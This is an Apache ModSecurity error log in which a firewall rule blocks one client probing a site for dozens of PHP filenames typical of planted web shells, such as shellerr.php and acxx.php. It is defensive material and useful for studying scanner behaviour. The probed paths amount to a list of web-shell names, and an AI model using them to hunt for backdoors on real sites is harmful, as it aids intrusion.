[Thu Mar 26 17:03:08.215121 2026] [:error] [pid 31778:tid 31795] [client 68.221.186.27:22089] [client 68.221.186.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/web.php"] [unique_id "acT2TA3kybI2o-xasmDiPAAAAcI"]
[Thu Mar 26 17:03:10.118092 2026] [:error] [pid 31670:tid 31680] [client 68.221.186.27:36802] [client 68.221.186.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/web.php"] [unique_id "acT2TjXVthXxCnWjOTROGAAAAUg"]
[Thu Mar 26 17:03:11.213059 2026] [:error] [pid 31780:tid 31841] [client 68.221.186.27:17179] [client 68.221.186.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/web.php"] [unique_id "acT2T5JDwZsy5O4ZXEh40QAAAhQ"]
[Thu Mar 26 17:03:12.935753 2026] [:error] [pid 31780:tid 31843] [client 68.221.186.27:13326] [client 68.221.186.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/web.php"] [unique_id "acT2UJJDwZsy5O4ZXEh41gAAAhY"]
[Thu Mar 26 17:03:14.050431 2026] [:error] [pid 19711:tid 19759] [client 68.221.186.27:13611] [client 68.221.186.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp9.php"] [unique_id "acT2Umj3l1y81GYfluSE0QAAAEo"]
[Thu Mar 26 17:03:15.264107 2026] [:error] [pid 60829:tid 60831] [client 68.221.186.27:17213] [client 68.221.186.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp9.php"] [unique_id "acT2U_TdjHKeZokybaSmkAAAAQA"]
[Thu Mar 26 17:03:16.218892 2026] [:error] [pid 31670:tid 31691] [client 68.221.186.27:15260] [client 68.221.186.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp9.php"] [unique_id "acT2VDXVthXxCnWjOTROKwAAAVM"]
[Thu Mar 26 17:03:16.945424 2026] [:error] [pid 31670:tid 31673] [client 68.221.186.27:12128] [client 68.221.186.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp9.php"] [unique_id "acT2VDXVthXxCnWjOTROMQAAAUE"]
[Thu Mar 26 17:03:18.479380 2026] [:error] [pid 60829:tid 60844] [client 68.221.186.27:43454] [client 68.221.186.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/asd.php"] [unique_id "acT2VvTdjHKeZokybaSmkQAAAQ0"]
[Thu Mar 26 17:03:21.344023 2026] [:error] [pid 19712:tid 19795] [client 68.221.186.27:46294] [client 68.221.186.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/asd.php"] [unique_id "acT2WdWhKhRNqm23vFMRzwAAAJM"]
[Thu Mar 26 17:03:22.840468 2026] [:error] [pid 31778:tid 31804] [client 68.221.186.27:2697] [client 68.221.186.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/asd.php"] [unique_id "acT2Wg3kybI2o-xasmDiUQAAAcs"]
[Thu Mar 26 17:03:24.587324 2026] [:error] [pid 31778:tid 31793] [client 68.221.186.27:2362] [client 68.221.186.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/asd.php"] [unique_id "acT2XA3kybI2o-xasmDiUwAAAcA"]
[Thu Mar 26 17:03:25.505348 2026] [:error] [pid 19711:tid 19771] [client 68.221.186.27:36809] [client 68.221.186.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/awh.php"] [unique_id "acT2XWj3l1y81GYfluSE1QAAAFY"]
[Thu Mar 26 17:03:54.212787 2026] [:error] [pid 31670:tid 31682] [client 68.221.186.27:45698] [client 68.221.186.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/domains.php"] [unique_id "acT2ejXVthXxCnWjOTROlAAAAUo"]
[Thu Mar 26 17:03:55.949598 2026] [:error] [pid 31670:tid 31680] [client 68.221.186.27:23332] [client 68.221.186.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/domains.php"] [unique_id "acT2ezXVthXxCnWjOTRO8AAAAUg"]
[Thu Mar 26 17:03:57.527585 2026] [:error] [pid 31778:tid 31816] [client 68.221.186.27:17230] [client 68.221.186.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/domains.php"] [unique_id "acT2fQ3kybI2o-xasmDisgAAAdc"]
[Thu Mar 26 17:03:58.301969 2026] [:error] [pid 31670:tid 31689] [client 68.221.186.27:40694] [client 68.221.186.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/domains.php"] [unique_id "acT2fjXVthXxCnWjOTRPAwAAAVE"]
[Thu Mar 26 17:03:59.902850 2026] [:error] [pid 31670:tid 31691] [client 68.221.186.27:17706] [client 68.221.186.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/az.php"] [unique_id "acT2fzXVthXxCnWjOTRPBgAAAVM"]
[Thu Mar 26 17:04:01.754351 2026] [:error] [pid 60829:tid 60832] [client 68.221.186.27:7427] [client 68.221.186.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/az.php"] [unique_id "acT2gfTdjHKeZokybaSmuwAAAQE"]
[Thu Mar 26 17:04:02.573962 2026] [:error] [pid 31717:tid 31743] [client 68.221.186.27:12296] [client 68.221.186.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/az.php"] [unique_id "acT2gr-SCF7YDISDX4_RGwAAAZU"]
[Thu Mar 26 17:04:04.023825 2026] [:error] [pid 31670:tid 31693] [client 68.221.186.27:23298] [client 68.221.186.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/az.php"] [unique_id "acT2hDXVthXxCnWjOTRPDgAAAVU"]
[Thu Mar 26 17:04:04.750758 2026] [:error] [pid 31670:tid 31685] [client 68.221.186.27:7460] [client 68.221.186.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/zwq13.php"] [unique_id "acT2hDXVthXxCnWjOTRPEwAAAU0"]
[Thu Mar 26 17:04:06.198959 2026] [:error] [pid 19818:tid 19839] [client 68.221.186.27:17444] [client 68.221.186.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/zwq13.php"] [unique_id "acT2hszaSnm3d1BeM5XP7AAAANM"]
[Thu Mar 26 17:04:08.827372 2026] [:error] [pid 31778:tid 31804] [client 68.221.186.27:45267] [client 68.221.186.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/zwq13.php"] [unique_id "acT2iA3kybI2o-xasmDiwAAAAcs"]
[Thu Mar 26 17:04:09.680856 2026] [:error] [pid 31780:tid 31826] [client 68.221.186.27:20006] [client 68.221.186.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/zwq13.php"] [unique_id "acT2iZJDwZsy5O4ZXEh5HwAAAgY"]
[Thu Mar 26 17:04:10.731595 2026] [:error] [pid 31778:tid 31793] [client 68.221.186.27:8650] [client 68.221.186.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/6kDPjgFTmvS.php"] [unique_id "acT2ig3kybI2o-xasmDiwQAAAcA"]
[Thu Mar 26 17:04:15.688991 2026] [:error] [pid 19818:tid 19824] [client 68.221.186.27:7727] [client 68.221.186.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/6kDPjgFTmvS.php"] [unique_id "acT2j8zaSnm3d1BeM5XP-AAAAMQ"]
[Thu Mar 26 17:04:18.119458 2026] [:error] [pid 31670:tid 31688] [client 68.221.186.27:45262] [client 68.221.186.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/6kDPjgFTmvS.php"] [unique_id "acT2kjXVthXxCnWjOTRPLwAAAVA"]
[Thu Mar 26 17:04:19.234199 2026] [:error] [pid 19712:tid 19792] [client 68.221.186.27:2275] [client 68.221.186.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/6kDPjgFTmvS.php"] [unique_id "acT2k9WhKhRNqm23vFMSPgAAAJA"]
[Thu Mar 26 17:04:20.743641 2026] [:error] [pid 31670:tid 31686] [client 68.221.186.27:19983] [client 68.221.186.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/sc.php"] [unique_id "acT2lDXVthXxCnWjOTRPNQAAAU4"]
[Thu Mar 26 17:04:21.664476 2026] [:error] [pid 31778:tid 31807] [client 68.221.186.27:20024] [client 68.221.186.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/sc.php"] [unique_id "acT2lQ3kybI2o-xasmDi1gAAAc4"]
[Thu Mar 26 17:04:22.855519 2026] [:error] [pid 19711:tid 19760] [client 68.221.186.27:33974] [client 68.221.186.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/sc.php"] [unique_id "acT2lmj3l1y81GYfluSFDQAAAEs"]
[Thu Mar 26 17:04:23.880028 2026] [:error] [pid 19818:tid 19837] [client 68.221.186.27:20015] [client 68.221.186.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/sc.php"] [unique_id "acT2l8zaSnm3d1BeM5XQCgAAANE"]
[Thu Mar 26 17:04:25.424972 2026] [:error] [pid 31780:tid 31823] [client 68.221.186.27:7708] [client 68.221.186.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/images/acxx.php"] [unique_id "acT2mZJDwZsy5O4ZXEh5MgAAAgM"]
[Thu Mar 26 17:04:27.559663 2026] [:error] [pid 19711:tid 19753] [client 68.221.186.27:12396] [client 68.221.186.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/images/acxx.php"] [unique_id "acT2m2j3l1y81GYfluSFEQAAAEQ"]
[Thu Mar 26 17:04:29.339106 2026] [:error] [pid 19710:tid 19726] [client 68.221.186.27:40602] [client 68.221.186.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/images/acxx.php"] [unique_id "acT2nQVEWP8Ar68Njk7x4AAAAAQ"]
[Thu Mar 26 17:04:29.982954 2026] [:error] [pid 31780:tid 31827] [client 68.221.186.27:12380] [client 68.221.186.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/images/acxx.php"] [unique_id "acT2nZJDwZsy5O4ZXEh5OQAAAgc"]
[Thu Mar 26 17:04:33.356596 2026] [:error] [pid 31778:tid 31804] [client 68.221.186.27:7716] [client 68.221.186.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/fyiiz.php"] [unique_id "acT2oQ3kybI2o-xasmDi5gAAAcs"]
[Thu Mar 26 17:04:34.206664 2026] [:error] [pid 31780:tid 31841] [client 68.221.186.27:42166] [client 68.221.186.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/fyiiz.php"] [unique_id "acT2opJDwZsy5O4ZXEh5WwAAAhQ"]
[Thu Mar 26 17:04:37.477982 2026] [:error] [pid 31778:tid 31794] [client 68.221.186.27:8937] [client 68.221.186.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/fyiiz.php"] [unique_id "acT2pQ3kybI2o-xasmDi6AAAAcE"]
[Thu Mar 26 17:04:38.844766 2026] [:error] [pid 31670:tid 31689] [client 68.221.186.27:27323] [client 68.221.186.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/fyiiz.php"] [unique_id "acT2pjXVthXxCnWjOTRPaQAAAVE"]
[Thu Mar 26 17:04:39.946092 2026] [:error] [pid 31717:tid 31724] [client 68.221.186.27:10979] [client 68.221.186.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/albin.php"] [unique_id "acT2p7-SCF7YDISDX4_RMwAAAYI"]
[Thu Mar 26 17:04:40.624801 2026] [:error] [pid 31778:tid 31808] [client 68.221.186.27:24795] [client 68.221.186.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/albin.php"] [unique_id "acT2qA3kybI2o-xasmDi8gAAAc8"]
[Thu Mar 26 17:04:41.590485 2026] [:error] [pid 31717:tid 31725] [client 68.221.186.27:13397] [client 68.221.186.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/albin.php"] [unique_id "acT2qb-SCF7YDISDX4_RQwAAAYM"]
[Thu Mar 26 17:04:43.017332 2026] [:error] [pid 19818:tid 19828] [client 68.221.186.27:33977] [client 68.221.186.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/albin.php"] [unique_id "acT2q8zaSnm3d1BeM5XQFQAAAMg"]
[Thu Mar 26 17:04:44.229025 2026] [:error] [pid 19711:tid 19763] [client 68.221.186.27:7680] [client 68.221.186.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/gk.php"] [unique_id "acT2rGj3l1y81GYfluSFIQAAAE4"]
[Thu Mar 26 17:04:45.293797 2026] [:error] [pid 60829:tid 60854] [client 68.221.186.27:10974] [client 68.221.186.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/gk.php"] [unique_id "acT2rfTdjHKeZokybaSmxAAAARc"]
[Thu Mar 26 17:04:46.711857 2026] [:error] [pid 19818:tid 19825] [client 68.221.186.27:17760] [client 68.221.186.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/gk.php"] [unique_id "acT2rszaSnm3d1BeM5XQGwAAAMU"]
[Thu Mar 26 17:04:47.603892 2026] [:error] [pid 19711:tid 19766] [client 68.221.186.27:9349] [client 68.221.186.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/gk.php"] [unique_id "acT2r2j3l1y81GYfluSFIgAAAFE"]
[Thu Mar 26 17:04:48.227630 2026] [:error] [pid 31717:tid 31733] [client 68.221.186.27:42213] [client 68.221.186.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/shellerr.php"] [unique_id "acT2sL-SCF7YDISDX4_RTgAAAYs"]
[Thu Mar 26 17:04:49.022795 2026] [:error] [pid 19818:tid 19823] [client 68.221.186.27:40582] [client 68.221.186.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/shellerr.php"] [unique_id "acT2sczaSnm3d1BeM5XQHwAAAMM"]
[Thu Mar 26 17:04:50.270448 2026] [:error] [pid 31778:tid 31801] [client 68.221.186.27:16704] [client 68.221.186.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/shellerr.php"] [unique_id "acT2sg3kybI2o-xasmDi_AAAAcg"]
[Thu Mar 26 17:04:51.139324 2026] [:error] [pid 31717:tid 31743] [client 68.221.186.27:9381] [client 68.221.186.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/shellerr.php"] [unique_id "acT2s7-SCF7YDISDX4_RVwAAAZU"]
[Thu Mar 26 17:05:57.975131 2026] [:error] [pid 19818:tid 19822] [client 68.221.186.27:11169] [client 68.221.186.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/shlo.php"] [unique_id "acT29czaSnm3d1BeM5XQggAAAMI"]
[Thu Mar 26 17:05:59.029539 2026] [:error] [pid 31778:tid 31811] [client 68.221.186.27:46792] [client 68.221.186.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/shlo.php"] [unique_id "acT29w3kybI2o-xasmDjTQAAAdI"]
[Thu Mar 26 17:06:00.341075 2026] [:error] [pid 31717:tid 31723] [client 68.221.186.27:10408] [client 68.221.186.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/shlo.php"] [unique_id "acT2-L-SCF7YDISDX4_RkwAAAYE"]
